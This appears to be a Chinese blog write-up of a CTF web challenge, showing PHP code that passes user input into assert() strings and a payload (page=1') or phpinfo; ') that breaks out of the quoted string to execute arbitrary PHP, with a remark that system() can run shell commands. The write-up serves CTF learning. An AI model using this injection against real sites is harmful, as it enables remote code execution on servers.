MENU

assert函数引起的代码注射

今天OpenCTF做到的一道WEB题 咋一看还以为是文件包含
最后谷歌了一下才知道是assert函数的漏洞

存在.git目录 下载了源码看了一下
核心代码如下 (templates目录下有flag.php)

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

利用:assert引起的代码注射
找到了原题的题解:
https://github.com/bl4de/ctf/blob/master/2016/CSAW_CTF_2016/mfw/mfw_web125.md
下面我具体的说一下吧
assert函数有个特点 如果传入的值是字符串 会被当做PHP代码执行
这里需要做的是将括号闭合然后执行新的命令
例如:传入的

page=1') or phpinfo; '

那么assert语句就会变成这样

assert("file_exists('1') or phpinfo;''")

结果就会出现phpinfo
这题可以利用 system 函数来执行linux 命令

Tags: CTF, WEB
Archives QR Code
QR Code for this page
Tipping QR Code